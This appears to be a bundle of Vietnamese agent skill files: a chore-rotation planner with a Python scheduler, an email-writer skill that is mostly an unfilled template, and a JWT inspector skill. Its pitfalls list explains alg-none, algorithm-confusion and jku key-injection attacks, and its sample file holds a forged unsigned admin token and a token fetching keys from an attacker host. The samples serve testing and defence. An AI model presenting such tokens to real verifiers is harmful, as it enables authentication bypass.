| Dắt chó đi dạo | 20-30 | 1-3 lần mỗi ngày |
| Cắt cỏ sân vườn | 40-60 | hằng tuần vào mùa cỏ mọc |
| Vệ sinh lò nướng | 30-45 | hằng tháng |
| Thanh toán hóa đơn và việc hành chính gia đình | 20-30 | hằng tuần |
Mẹo nhỏ
- Hãy bấm giờ thử một lần làm thực tế bằng điện thoại nếu mọi người không thống nhất được một công việc mất bao lâu.
- Hãy chia nhỏ những công việc vừa tốn thời gian vừa không ai muốn làm để dễ luân phiên hơn.
- Các công việc theo mùa (xúc tuyết, dọn máng xối) có thể chỉ cần thêm vào trong những tuần phát sinh.
FILE:references/fairness-and-agreements.md
# Sự công bằng và các thỏa thuận trong nhà
## Thiết lập tỷ lệ gánh vác
- Bắt đầu với mức 1.0 cho tất cả mọi người. Chỉ giảm tỷ lệ khi có sự thống nhất rõ ràng (độ tuổi, sức khỏe, giờ làm việc quá dài, kỳ thi cử).
- Trẻ em: khoảng 0.25-0.5 và chỉ giao những công việc phù hợp với lứa tuổi.
- Người đóng tiền thuê nhà nhiều hơn hoặc gánh vác nhiều công việc không tên hơn có thể nhận tỷ lệ việc nhà thấp hơn; hãy ghi rõ điều đó thành văn bản.
## Thế nào là "đã hoàn thành"
Thống nhất một định nghĩa ngắn gọn trong một dòng cho từng công việc, ví dụ: "Rửa bát: bồn rửa trống sạch, mặt bếp đã lau khô, máy rửa bát đang chạy".
## Đổi việc cho nhau
- Việc đổi lịch hoàn toàn được phép nếu cả hai bên đồng ý và số phút tương đương nhau.
- Hãy nhắn thông báo đổi việc vào nhóm chat để không ai bị bất ngờ.
- Một công việc bị bỏ lỡ phải được làm bù trong vòng 48 giờ hoặc đổi cho người khác, chứ không được âm thầm bỏ qua.
## Buổi họp rà soát 15 phút hằng tháng
1. Mỗi người nêu một điều đang hiệu quả và một điều chưa ổn (mỗi người 2 phút).
2. Xem lại bảng đánh giá mức độ công bằng; điều chỉnh số phút hoặc tỷ lệ gánh vác nếu thực tế đã thay đổi.
3. Quyết định một điểm cải thiện cho tháng tiếp theo.
4. Tạo lại bảng phân công luân phiên mới.
## Xử lý bất đồng
- Hãy nói về quy trình hệ thống, đừng công kích cá nhân ("Nhà vệ sinh cứ hay bị bỏ quên vào các ngày thứ Năm" thay vì "Bạn chẳng bao giờ chịu dọn dẹp cả").
- Nếu một người đang phải gánh quá nhiều công việc không tên, hãy đưa chúng vào danh sách việc nhà kèm theo số phút cụ thể.
FILE:templates/rotation-chart.md
# Lịch Luân phiên Việc nhà - <household name>
**Giai đoạn:** <start date> đến <end date> **Thành viên:** <names and shares>
## Tuần 1 (<dates>)
| Công việc | Người làm | Đã xong? |
|---|---|---|
| | | [ ] |
## Tuần 2 (<dates>)
| Công việc | Người làm | Đã xong? |
|---|---|---|
| | | [ ] |
## Mức độ công bằng (phút)
| Thành viên | Tỷ lệ | Số phút | Mục tiêu | Độ lệch |
|---|---|---|---|---|
## Thỏa thuận chung trong nhà
- Định nghĩa "Đã hoàn thành":
- Quy tắc đổi việc:
- Quy tắc khi bỏ lỡ công việc:
- Ngày họp rà soát hằng tháng:
## Tin nhắn gửi nhóm
> Chào cả nhà! Lịch luân phiên việc nhà mới cho giai đoạn <period> đã được dán trên tủ lạnh và ghim tại đây. Khối lượng công việc được cân bằng theo thời gian. Mọi người có thể đổi việc cho nhau, chỉ cần nhắn lên nhóm là được. Chúng ta sẽ họp rà soát vào ngày <date> nhé.
FILE:examples/household.json
{
"weeks": 4,
"people": [
{"name": "Leyla", "share": 1.0},
{"name": "Tom", "share": 1.0, "cannot": ["Litter box"]},
{"name": "Deniz", "share": 0.5, "cannot": ["Clean oven", "Mow lawn"]},
{"name": "Sam", "share": 0.75}
],
"chores": [
{"name": "Dishes", "minutes": 20, "times_per_week": 7},
{"name": "Cook dinner", "minutes": 45, "times_per_week": 3, "only": ["Leyla", "Tom", "Sam"]},
{"name": "Laundry", "minutes": 40, "times_per_week": 2},
{"name": "Bathroom clean", "minutes": 40, "times_per_week": 1},
{"name": "Vacuum and mop", "minutes": 35, "times_per_week": 2},
{"name": "Trash and recycling", "minutes": 10, "times_per_week": 3},
{"name": "Grocery run", "minutes": 60, "times_per_week": 1},
{"name": "Litter box", "minutes": 5, "times_per_week": 7},
{"name": "Water plants", "minutes": 10, "times_per_week": 2},
{"name": "Mow lawn", "minutes": 50, "times_per_week": 1},
{"name": "Clean oven", "minutes": 30, "times_per_week": 1}
]
}
FILE:scripts/chore_rotation.py
#!/usr/bin/env python3
"""Fair household chore rotation planner (Python 3 standard library only).
Input JSON:
{
"weeks": 4,
"people": [{"name": "Ana", "share": 1.0, "cannot": ["Mow lawn"]}, ...],
"chores": [{"name": "Dishes", "minutes": 20, "times_per_week": 7, "only": ["Ana", "Ben"]}, ...]
}
share: relative capacity (1.0 = normal; 0.5 = half load, e.g. a child or someone with long shifts)
cannot / only: hard constraints (allergies, age, physical limits, skills)
Algorithm per week: chores sorted by weekly minutes (largest first) go to the eligible person with the
lowest (load / share); ties are broken in favor of someone who did NOT have that chore last week,
so chores rotate. Reports per-person minutes, target minutes, and deviation.
Exit code: 0 OK, 1 if a chore has no eligible person, 2 on bad input.
"""
import argparse
import json
import sys
class PlanError(ValueError):
pass
def validate(data):
people = data.get("people") or []
chores = data.get("chores") or []
if not people:
raise PlanError("need at least one person")
if not chores:
raise PlanError("need at least one chore")
names = [p["name"] for p in people]
if len(set(names)) != len(names):
raise PlanError("duplicate person names")
for p in people:
if float(p.get("share", 1.0)) <= 0:
raise PlanError(f"share must be > 0 for {p['name']}")
for c in chores:
if float(c.get("minutes", 0)) <= 0 or float(c.get("times_per_week", 1)) <= 0:
raise PlanError(f"minutes and times_per_week must be > 0 for {c.get('name')}")
for n in c.get("only", []):
if n not in names:
raise PlanError(f"chore {c['name']} lists unknown person {n}")
return people, chores
def weekly_minutes(chore):
return float(chore["minutes"]) * float(chore.get("times_per_week", 1))
def eligible(person, chore):
if chore.get("only") and person["name"] not in chore["only"]:
return False
return chore["name"] not in person.get("cannot", [])
def plan_week(people, chores, last_week=None):
"""Return (assignment {chore: person}, loads {person: minutes}, unassigned [chore])."""
last_week = last_week or {}
loads = {p["name"]: 0.0 for p in people}
assignment = {}
unassigned = []
order = sorted(chores, key=lambda c: (-weekly_minutes(c), c["name"]))
for c in order:
cands = [p for p in people if eligible(p, c)]
if not cands:
unassigned.append(c["name"])
continue
w = weekly_minutes(c)
def key(p):
share = float(p.get("share", 1.0))
after = (loads[p["name"]] + w) / share
repeat = 1 if last_week.get(c["name"]) == p["name"] else 0
return (round(after, 6), repeat, p["name"])
# prefer rotation when loads are close: compare within a 10% band of the best option
ranked = sorted(cands, key=key)
best = key(ranked[0])[0]
band = [p for p in ranked if key(p)[0] <= best * 1.10 + 1e-9]
band.sort(key=lambda p: (key(p)[1], key(p)[0], p["name"]))
chosen = band[0]
assignment[c["name"]] = chosen["name"]
loads[chosen["name"]] += w
return assignment, loads, unassigned
def fairness(people, loads):
total = sum(loads.values())
total_share = sum(float(p.get("share", 1.0)) for p in people)
rows = []
for p in people:
target = total * float(p.get("share", 1.0)) / total_share
got = loads[p["name"]]
dev = (got - target) / target * 100 if target else 0.0
rows.append({"name": p["name"], "minutes": round(got, 1), "target": round(target, 1),
"deviation_pct": round(dev, 1)})
return rows
def plan(data):
people, chores = validate(data)
weeks = int(data.get("weeks", 4))
result = []
cumulative = {p["name"]: 0.0 for p in people}
last = None
for wk in range(1, weeks + 1):
assignment, loads, unassigned = plan_week(people, chores, last)
for k, v in loads.items():
cumulative[k] += v
result.append({"week": wk, "assignment": assignment, "fairness": fairness(people, loads),
"unassigned": unassigned})
last = assignment
return {"weeks": result, "overall": fairness(people, cumulative)}
def render(res):
out = []
for w in res["weeks"]:
out.append(f"## Week {w['week']}")
out.append("| Chore | Who |")
out.append("|---|---|")
for chore, who in sorted(w["assignment"].items()):
out.append(f"| {chore} | {who} |")
for u in w["unassigned"]:
out.append(f"| {u} | UNASSIGNED (no eligible person) |")
out.append("")
out.append("## Overall fairness (minutes across all weeks)")
out.append("| Person | Minutes | Target | Deviation |")
out.append("|---|---|---|---|")
for r in res["overall"]:
out.append(f"| {r['name']} | {r['minutes']} | {r['target']} | {r['deviation_pct']:+.1f}% |")
return "\n".join(out)
def self_test():
base = {
"weeks": 4,
"people": [{"name": "Ana"}, {"name": "Ben"}, {"name": "Cem", "share": 0.5, "cannot": ["Mow lawn"]}],
"chores": [
{"name": "Dishes", "minutes": 20, "times_per_week": 7},
{"name": "Laundry", "minutes": 60, "times_per_week": 2},
{"name": "Bathroom", "minutes": 45, "times_per_week": 1},
{"name": "Vacuum", "minutes": 30, "times_per_week": 2},
{"name": "Trash", "minutes": 5, "times_per_week": 3},
{"name": "Mow lawn", "minutes": 50, "times_per_week": 1},
{"name": "Feed cat", "minutes": 5, "times_per_week": 14, "only": ["Cem", "Ana"]},
],
}
res = plan(base)
w1 = res["weeks"][0]["assignment"]
lawn_never_cem = all(w["assignment"]["Mow lawn"] != "Cem" for w in res["weeks"])
cat_ok = all(w["assignment"]["Feed cat"] in ("Cem", "Ana") for w in res["weeks"])
dishes_people = {w["assignment"]["Dishes"] for w in res["weeks"]}
overall = {r["name"]: r for r in res["overall"]}
max_dev = max(abs(r["deviation_pct"]) for r in res["overall"])
two = plan({"weeks": 2, "people": [{"name": "A"}, {"name": "B"}],
"chores": [{"name": "X", "minutes": 10}, {"name": "Y", "minutes": 10}]})
rotated = two["weeks"][0]["assignment"]["X"] != two["weeks"][1]["assignment"]["X"]
orphan = plan({"weeks": 1, "people": [{"name": "A", "cannot": ["Z"]}], "chores": [{"name": "Z", "minutes": 5}]})
errors = []
for bad in ({"people": [], "chores": [{"name": "x", "minutes": 1}]},
{"people": [{"name": "A"}, {"name": "A"}], "chores": [{"name": "x", "minutes": 1}]},
{"people": [{"name": "A", "share": 0}], "chores": [{"name": "x", "minutes": 1}]},
{"people": [{"name": "A"}], "chores": [{"name": "x", "minutes": 0}]},
{"people": [{"name": "A"}], "chores": [{"name": "x", "minutes": 1, "only": ["Q"]}]}):
try:
plan(bad)
errors.append(False)
except PlanError:
errors.append(True)
cases = [
("all_chores_assigned_w1", len(w1), 7),
("weekly_minutes", weekly_minutes(base["chores"][0]), 140.0),
("cannot_respected", lawn_never_cem, True),
("only_respected", cat_ok, True),
("dishes_rotate", len(dishes_people) >= 2, True),
("half_share_lower_load", overall["Cem"]["minutes"] < overall["Ana"]["minutes"], True),
("overall_fair_within_25pct", max_dev <= 25.0, True),
("targets_sum_to_total", round(sum(r["target"] for r in res["overall"]), 0) == round(sum(r["minutes"] for r in res["overall"]), 0), True),
("equal_tie_rotates", rotated, True),
("orphan_reported", orphan["weeks"][0]["unassigned"], ["Z"]),
("bad_inputs_rejected", errors, [True] * 5),
("render_has_header", render(res).startswith("## Week 1"), True),
]
failed = 0
for name, got, expected in cases:
ok = got == expected
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} {name}: got={got!r} expected={expected!r}")
print(f"\n{len(cases) - failed}/{len(cases)} passed")
return 1 if failed else 0
def main(argv=None):
p = argparse.ArgumentParser(description="Plan a fair, rotating household chore schedule.")
p.add_argument("input", nargs="?", help="JSON file with weeks, people, chores")
p.add_argument("--weeks", type=int, help="override number of weeks")
p.add_argument("--json", action="store_true")
p.add_argument("--self-test", action="store_true")
a = p.parse_args(argv)
if a.self_test:
return self_test()
if not a.input:
p.error("give an input JSON file, or --self-test")
try:
with open(a.input, encoding="utf-8") as fh:
data = json.load(fh)
if a.weeks:
data["weeks"] = a.weeks
res = plan(data)
except (OSError, json.JSONDecodeError, PlanError, KeyError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(res, indent=2) if a.json else render(res))
return 1 if any(w["unassigned"] for w in res["weeks"]) else 0
if __name__ == "__main__":
sys.exit(main())Đóng vai chuyên gia viết email chuyên nghiệp bằng tất cả các ngôn ngữ chính trên thế giới. Viết những bức email chỉn chu với tiêu đề chính xác, phần mở đầu lịch thiệp, nội dung mạch lạc và phần kết chuyên nghiệp, sử dụng ngôn ngữ chuẩn xác, tự nhiên và phù hợp về mặt văn hóa. Điều chỉnh giọng điệu theo người nhận và ngữ cảnh, giữ nguyên các dữ kiện và ý định ban đầu, chuyển các ghi chú ngắn thành email sẵn sàng gửi đi và tránh dịch từng chữ hoặc tự bịa đặt thông tin.
--- name: professional-multilingual-email-writer description: Đóng vai chuyên gia viết email chuyên nghiệp bằng tất cả các ngôn ngữ chính trên thế giới. Viết những bức email chỉn chu với tiêu đề chính xác, phần mở đầu lịch thiệp, nội dung mạch lạc và phần kết chuyên nghiệp, sử dụng ngôn ngữ chuẩn xác, tự nhiên và phù hợp về mặt văn hóa. Điều chỉnh giọng điệu theo người nhận và ngữ cảnh, giữ nguyên các dữ kiện và ý định ban đầu, chuyển các ghi chú ngắn thành email sẵn sàng gửi đi và tránh dịch từng chữ hoặc tự bịa đặt thông tin. --- Hãy đóng vai một chuyên gia viết email chuyên nghiệp bằng tất cả các ngôn ngữ chính trên thế giới. - Soạn thảo và trau chuốt email với tiêu đề chính xác, phần mở đầu lịch thiệp, nội dung mạch lạc và phần kết chỉn chu, sử dụng ngữ pháp chuẩn xác, cách diễn đạt tự nhiên, thuật ngữ chuyên ngành và ngôn ngữ trang trọng hoặc ngoại giao phù hợp với văn hóa. - Điều chỉnh email cho phù hợp với người nhận và ngữ cảnh, chuyển các ghi chú ngắn gọn thành thông điệp sẵn sàng để gửi, giữ nguyên ý nghĩa và dữ kiện gốc, tránh lặp từ và dịch sát từng chữ, đồng thời không bao giờ tự bịa đặt thông tin. --- # Kỹ năng của tôi Mô tả chức năng của kỹ năng này và cách tác tử (agent) nên sử dụng nó. ## Hướng dẫn - Bước 1: ... - Bước 2: ...
Giải mã một chuỗi JWT mà không mặc định tin tưởng nó, đồng thời rà soát lỗi (lint) phần header và các thông tin xác nhận (claims): thuật toán alg none, khóa jku/x5u từ xa, thiếu hoặc hết hạn exp, lệch đồng hồ nbf/iat, dấu thời gian tính bằng mili-giây, thời hạn sống quá dài, sai lệch iss/aud, dữ liệu nhạy cảm nằm trong payload, và kiểm tra chữ ký HMAC bằng khóa bí mật lấy từ biến môi trường. Sử dụng khi thao tác đăng nhập hoặc lệnh gọi API thất bại với mã lỗi 401, hoặc khi rà soát cấu hình token. Bao gồm công cụ kiểm tra bằng thư viện chuẩn Python có hỗ trợ cờ --self-test.
---
name: jwt-token-inspector
description: Giải mã một chuỗi JWT mà không mặc định tin tưởng nó, đồng thời rà soát lỗi (lint) phần header và các thông tin xác nhận (claims): thuật toán alg none, khóa jku/x5u từ xa, thiếu hoặc hết hạn exp, lệch đồng hồ nbf/iat, dấu thời gian tính bằng mili-giây, thời hạn sống quá dài, sai lệch iss/aud, dữ liệu nhạy cảm nằm trong payload, và kiểm tra chữ ký HMAC bằng khóa bí mật lấy từ biến môi trường. Sử dụng khi thao tác đăng nhập hoặc lệnh gọi API thất bại với mã lỗi 401, hoặc khi rà soát cấu hình token. Bao gồm công cụ kiểm tra bằng thư viện chuẩn Python có hỗ trợ cờ --self-test.
---
# Công cụ Kiểm tra JWT Token
Bạn giúp các lập trình viên tìm hiểu và gỡ lỗi JSON Web Tokens (JWT) một cách an toàn. Bạn giải mã phần header và payload, chuyển đổi các dấu thời gian sang định dạng giờ UTC dễ đọc, giải thích ý nghĩa của từng claim, và gắn cờ cảnh báo những thiết lập khiến token trở nên mất an toàn, không thể sử dụng hoặc dễ gây lỗi trên môi trường thực tế (production). Bạn luôn coi mọi token là không đáng tin cậy: giải mã (decoding) không phải là xác minh chữ ký (verification), và bạn luôn nêu rõ điều đó.
## Các tệp trong kỹ năng này
- `scripts/jwt_inspect.py` - giải mã một JWS compact token, rà soát lỗi trong header và claims, tùy chọn xác minh chữ ký HS256/HS384/HS512 bằng khóa bí mật, xuất kết quả ra markdown hoặc JSON (chỉ sử dụng thư viện chuẩn Python 3)
- `references/claims-and-validation.md` - các claim đã đăng ký chuẩn, những gì bộ xác minh (verifier) bắt buộc phải kiểm tra và theo thứ tự nào
- `references/common-jwt-pitfalls.md` - những sai lầm đứng sau hầu hết các lỗi và sự cố bảo mật liên quan đến JWT, kèm theo cách khắc phục
- `templates/jwt-review.md` - mẫu báo cáo ngắn gọn cho phiếu báo lỗi (bug ticket), đánh giá PR hoặc rà soát bảo mật
- `examples/sample-tokens.md` - ba token mẫu minh họa (thời hạn quá dài, alg none, khóa jku từ xa kèm thời gian hết hạn exp tính bằng mili-giây) và các phát hiện kỳ vọng
## Quy trình thực hiện
### 1. Xử lý token an toàn
Yêu cầu người dùng cung cấp token từ môi trường thử nghiệm (test) hoặc tiền triển khai (staging). Nếu người dùng dán một token đang hoạt động trên môi trường thực tế (production), hãy cảnh báo họ rằng token đó vẫn cấp quyền truy cập cho đến khi hết hạn và đề nghị họ xoay vòng (rotate)/thu hồi nó sau phiên làm việc. Không bao giờ lặp lại toàn bộ chuỗi token hoặc phần chữ ký trong câu trả lời của bạn.
### 2. Chạy công cụ kiểm tra
```
python3 scripts/jwt_inspect.py "<token>"
python3 scripts/jwt_inspect.py "<token>" --now 2026-10-19T09:00:00Z --leeway 60
python3 scripts/jwt_inspect.py "<token>" --expect-iss https://auth.example.com --expect-aud api://orders
JWT_SECRET=... python3 scripts/jwt_inspect.py "<token>" --secret-env JWT_SECRET
python3 scripts/jwt_inspect.py --self-test
```
Tiền tố `Bearer ` sẽ tự động được lược bỏ. Sử dụng `-` để đọc token từ luồng đầu vào chuẩn (stdin). Mã thoát (exit code) bằng 1 có nghĩa là phát hiện ít nhất một vấn đề mức độ cao (`--strict`: bất kỳ phát hiện nào); mã thoát bằng 2 có nghĩa là không thể giải mã được token.
### 3. Giải thích kết quả
- Hiển thị phần header và các claim đã giải mã cùng thời gian exp/nbf/iat theo cả giờ UTC và múi giờ của người dùng.
- Nhóm các phát hiện theo mức độ nghiêm trọng: **cao (high)** (mất an toàn hoặc bị từ chối: alg none, chữ ký trống, đã hết hạn, chưa đến thời điểm có hiệu lực, sai lệch iss/aud, khóa nhúng trực tiếp hoặc tải từ xa, chữ ký sai, dấu thời gian tính bằng mili-giây), **trung bình (medium)** (không có exp, thời hạn vượt quá chính sách, chứa claim nhạy cảm, khóa bí mật HMAC yếu, iat nằm ở tương lai), **thấp (low)** (thiếu iss, aud, sub hoặc kid).
- Đối với lỗi 401, hãy đối chiếu phát hiện với triệu chứng thực tế bằng cách tham khảo `references/claims-and-validation.md`: lệch đồng hồ hệ thống, sai đối tượng thụ hưởng (audience), sai bên phát hành (issuer) hoặc sai khóa xác minh là những nguyên nhân phổ biến nhất.
### 4. Đề xuất biện pháp khắc phục
Sử dụng `references/common-jwt-pitfalls.md`: ghim cố định danh sách thuật toán cho phép trên bộ xác minh, giữ thời hạn của access token ngắn (5-15 phút) kết hợp với refresh token, chuyển dữ liệu cá nhân ra khỏi payload, cho phép khoảng dung sai thời gian (leeway) từ 30-60 giây, và chỉ tải khóa từ một URL JWKS đã được cấu hình cố định.
### 5. Báo cáo
Điền vào mẫu `templates/jwt-review.md` với dấu vân tay (fingerprint) của token (tuyệt đối không ghi nguyên chuỗi token), các phát hiện, nguyên nhân gốc rễ và biện pháp khắc phục đã thống nhất.
## Quy tắc
- Giải mã không phải là xác minh chữ ký. Không bao giờ khẳng định một token là hợp lệ trừ khi chữ ký của nó đã được kiểm tra bằng đúng khóa tương ứng.
- Không bao giờ in ra hoặc lưu trữ toàn bộ chuỗi token, chữ ký hoặc khóa bí mật. Hãy truyền khóa bí mật thông qua biến môi trường chứ không truyền trực tiếp trên dòng lệnh.
- Không hỗ trợ làm giả (forge), phát lại (replay) hoặc chỉnh sửa trái phép (tamper) các token cho những hệ thống mà người dùng không sở hữu.
- Các chữ ký RS/ES/PS/EdDSA cần có khóa công khai (public key) và thư viện JOSE chuyên dụng; kịch bản đi kèm chỉ xác minh các thuật toán họ HMAC.
FILE:references/claims-and-validation.md
# Các Claim và Thứ tự Xác thực
## Các claim chuẩn đã đăng ký (RFC 7519)
| Claim | Ý nghĩa | Kiểu dữ liệu | Ghi chú |
|---|---|---|---|
| iss | Bên phát hành (Issuer) | chuỗi/URL | Ghim cố định trên bộ xác minh; mỗi miền tin cậy một bên phát hành |
| sub | Chủ thể (ID người dùng hoặc dịch vụ) | chuỗi | ID ổn định, không dùng địa chỉ email vốn có thể thay đổi |
| aud | Đối tượng đích (Audience) | chuỗi hoặc mảng | Dịch vụ API phải tìm thấy ID của chính mình trong trường này |
| exp | Thời điểm hết hạn | NumericDate (giây) | Bắt buộc phải có đối với access token |
| nbf | Không có hiệu lực trước thời điểm | NumericDate | Token sẽ bị từ chối cho đến khi chạm mốc thời gian này |
| iat | Thời điểm phát hành | NumericDate | Dùng để kiểm tra vòng đời và độ mới của token |
| jti | Định danh token (Token ID) | chuỗi | Hỗ trợ danh sách thu hồi (revocation lists) và phát hiện tấn công phát lại (replay) |
NumericDate là số giây tính từ mốc 1970-01-01T00:00:00Z. Một giá trị gồm 13 chữ số là mili-giây và sẽ bị hiểu nhầm thành một ngày cách hiện tại hàng chục nghìn năm trong tương lai.
## Các tham số trong Header
- `alg` - thuật toán ký. Bộ xác minh mới là bên quyết định những giá trị nào được phép sử dụng; bản thân token không bao giờ được quyền quyết định.
- `kid` - định danh khóa (key ID), được dùng để chọn đúng khóa từ tập JWKS của bên phát hành trong quá trình xoay vòng khóa.
- `typ` - thường là `JWT` hoặc `at+jwt` (hồ sơ access token theo chuẩn RFC 9068).
- `jku`, `x5u`, `jwk` - trỏ tới hoặc nhúng trực tiếp các khóa. Hãy bỏ qua chúng trừ khi chúng khớp hoàn toàn với một nguồn đáng tin cậy đã được ghim cố định.
## Những gì bộ xác minh bắt buộc phải kiểm tra, theo đúng thứ tự
1. Token có đúng ba phân đoạn và giải mã ra các đối tượng JSON hợp lệ.
2. `alg` nằm trong danh sách cho phép (allow-list) của bộ xác minh (ví dụ: chỉ chấp nhận RS256). Từ chối thẳng `none`.
3. Chữ ký được xác minh thành công bằng khóa được chọn qua `kid` từ một nguồn JWKS đáng tin cậy, tuyệt đối không lấy khóa trực tiếp từ bên trong token.
4. `exp` nằm ở tương lai và `nbf` nằm ở quá khứ, cả hai đều được áp dụng một khoảng dung sai nhỏ (30-60 giây).
5. `iss` bằng đúng định danh của bên phát hành kỳ vọng.
6. `aud` có chứa ID của dịch vụ hiện tại.
7. Các quy tắc nghiệp vụ của ứng dụng: phạm vi quyền (scopes), vai trò (roles), định danh thuê bao (tenant), và `jti` chưa bị thu hồi.
## Đối chiếu triệu chứng lỗi 401 với nguyên nhân
| Triệu chứng | Nguyên nhân khả dĩ | Điểm cần kiểm tra |
|---|---|---|
| Chạy được ở máy cục bộ (local), lỗi trên prod | Lệch đồng hồ hệ thống hoặc URL của bên phát hành khác nhau | So sánh iat/nbf với giờ máy chủ, kiểm tra trường iss |
| Lỗi ngay lập tức sau khi vừa đăng nhập | nbf hoặc iat nằm ở tương lai | Đồng bộ thời gian trên các máy chủ (NTP) |
| Chỉ bị lỗi ở một API duy nhất | Sai đối tượng đích (audience) | Danh sách aud |
| Bị lỗi sau khi xoay vòng khóa (key rotation) | Không nhận diện được kid mới hoặc JWKS bị lưu đệm (cache) quá lâu | Đối chiếu kid với JWKS, kiểm tra thời gian sống (TTL) của bộ nhớ đệm |
| Không bao giờ hết hạn | Thiếu trường exp hoặc exp đang tính bằng mili-giây | Giá trị của trường exp |
FILE:references/common-jwt-pitfalls.md
# Những Sai lầm Phổ biến khi Sử dụng JWT
1. **Chấp nhận `alg: none`.** Các token không có chữ ký có thể bị làm giả dễ dàng. Cách khắc phục: truyền một danh sách thuật toán cho phép (allow-list) tường minh vào hàm xác minh.
2. **Nhầm lẫn thuật toán (RS256 so với HS256).** Nếu bộ xác minh chấp nhận cả hai, kẻ tấn công có thể ký bằng thuật toán HMAC với việc dùng chính khóa công khai (public key) làm khóa bí mật (secret). Cách khắc phục: mỗi khóa chỉ gắn với một họ thuật toán duy nhất.
3. **Tin tưởng khóa lấy từ bên trong token.** Các trường `jku`, `x5u` hoặc `jwk` nhúng sẵn cho phép người gửi tự ý chọn khóa xác minh. Cách khắc phục: chỉ tải khóa từ một URL JWKS đã được cấu hình cố định từ trước.
4. **Khóa bí mật HMAC yếu.** Các khóa bí mật ngắn hoặc nằm trong từ điển có thể bị dò quét vét cạn (brute-force) ngoại tuyến chỉ từ một token thu được. Cách khắc phục: dùng ít nhất 32 byte ngẫu nhiên cho HS256 (48 byte cho HS384, 64 byte cho HS512) và lưu trữ trong trình quản lý bí mật (secret manager).
5. **Access token có thời hạn quá dài.** Một token bị lộ sẽ tiếp tục có hiệu lực cho đến tận thời điểm exp. Cách khắc phục: đặt thời hạn access token từ 5-15 phút kết hợp với refresh token có xoay vòng; thu hồi theo `jti` nếu cần.
6. **Chứa dữ liệu cá nhân trong payload.** Base64url chỉ là mã hóa định dạng (encoding) chứ không phải mật mã hóa (encryption); bất kỳ ai cầm token đều đọc được nội dung. Cách khắc phục: chỉ lưu các ID và phạm vi quyền (scopes), hoặc sử dụng JWE.
7. **Dùng mili-giây thay vì giây.** Rất hay gặp khi dùng hàm `Date.now()` trong JavaScript. Cách khắc phục: sử dụng `Math.floor(Date.now() / 1000)`.
8. **Không cấu hình khoảng dung sai thời gian (leeway).** Sự chênh lệch nhỏ giữa đồng hồ các máy chủ sẽ gây ra lỗi 401 ngẫu nhiên. Cách khắc phục: cấu hình dung sai 30-60 giây và bật đồng bộ NTP trên tất cả các máy chủ.
9. **Bỏ qua bước kiểm tra aud/iss.** Token cấp cho dịch vụ này có thể bị đem phát lại (replay) để truy cập trái phép vào dịch vụ khác. Cách khắc phục: luôn xác thực cả hai trường này.
10. **Đặt token trên URL hoặc trong nhật ký (logs).** Chúng sẽ bị rò rỉ qua trường Referer, máy chủ proxy và hệ thống tìm kiếm nhật ký. Cách khắc phục: gửi token trong trường header Authorization và che (redact) token khi ghi nhật ký.
FILE:templates/jwt-review.md
# Báo cáo Rà soát JWT - <tên dịch vụ hoặc mã phiếu>
**Dấu vân tay token:** sha256 <12 ký tự hex đầu tiên> **Môi trường:** <dev / staging / prod> **Thời điểm kiểm tra:** <giờ UTC>
**Bên phát hành (Issuer):** <iss> **Đối tượng đích (Audience):** <aud> **Thuật toán:** <alg> **Thời hạn sống:** <exp - iat>
## Các phát hiện
| Mức độ nghiêm trọng | Mã phát hiện | Chi tiết | Cách khắc phục |
|---|---|---|---|
| | | | |
## Nguyên nhân gốc rễ
<một hoặc hai câu liên kết phát hiện trên với triệu chứng lỗi được báo cáo>
## Các thay đổi đã thống nhất
- [ ] Bộ xác minh (Verifier): <danh sách cho phép allow-list, dung sai thời gian leeway, kiểm tra iss/aud>
- [ ] Bên phát hành (Issuer): <thời hạn sống, các claim, kích thước khóa, kid>
- [ ] Xoay vòng token hoặc khóa bí mật bị lộ: <có/không, người phụ trách>
## Ghi chú
Được giải mã bằng scripts/jwt_inspect.py. Bản thân chuỗi token không được lưu lại trong báo cáo này.
FILE:examples/sample-tokens.md
# Các Token Mẫu (chỉ dùng để minh họa, không thuộc hệ thống thực tế)
Chạy từng mẫu bằng lệnh:
```
python3 scripts/jwt_inspect.py "<token>" --now 2026-10-19T09:00:00Z --expect-aud api://orders
```
## 1. Token khách hàng có thời hạn sống dài (HS256, khóa bí mật minh họa "dev-secret")
```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJodHRwczovL2F1dGguc2hvcGZyb250LmV4YW1wbGUiLCJzdWIiOiJjdXN0Xzg4NDEiLCJhdWQiOlsiYXBpOi8vb3JkZXJzIiwiYXBpOi8vcHJvZmlsZSJdLCJpYXQiOjE3OTIzOTUwMDAsImV4cCI6MTc5Mjk5OTgwMCwiZW1haWwiOiJtaW5hQGV4YW1wbGUuY29tIiwicm9sZXMiOlsiY3VzdG9tZXIiXSwiY2FyZF9sYXN0NCI6IjQyNDIifQ.xupeoN2LYDYe-FKD_4qOh7KCw6G68Zi1pCms7dtUGh0
```
Kỳ vọng: mã thoát 0; mức trung bình `lifetime_long` (7.0 ngày vượt quá chính sách 1.0 ngày), mức trung bình `sensitive_claim` (card_last4). Khi đặt biến môi trường cho `--secret-env` là "dev-secret": xác minh chữ ký thành công, kèm theo cảnh báo mức trung bình `weak_secret` (10 byte).
## 2. Token quản trị viên không có chữ ký (alg none)
```
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJodHRwczovL2F1dGguc2hvcGZyb250LmV4YW1wbGUiLCJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc5MjM5NTAwMH0.
```
Kỳ vọng: mã thoát 1; mức cao `alg_none`, mức cao `aud_mismatch` (không có aud trong khi yêu cầu `api://orders`), mức trung bình `exp_missing`.
## 3. URL khóa từ xa và thời gian hết hạn tính bằng mili-giây (RS256)
```
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImprdSI6Imh0dHBzOi8va2V5cy5hdHRhY2tlci5leGFtcGxlL2p3a3MuanNvbiJ9.eyJpc3MiOiJodHRwczovL2F1dGguc2hvcGZyb250LmV4YW1wbGUiLCJzdWIiOiJzdmMtcmVwb3J0cyIsImF1ZCI6ImFwaTovL29yZGVycyIsImlhdCI6MTc5MjM5NTAwMCwiZXhwIjoxNzkyMzk4NjAwMDAwfQ.bm90LWEtcmVhbC1zaWduYXR1cmUtanVzdC1hLWRlbW8
```
Kỳ vọng: mã thoát 1; mức cao `exp_milliseconds`, mức cao `header_jku`, mức thấp `kid_missing`.
FILE:scripts/jwt_inspect.py
#!/usr/bin/env python3
"""JWT token inspector and claim linter (Python 3 standard library only).
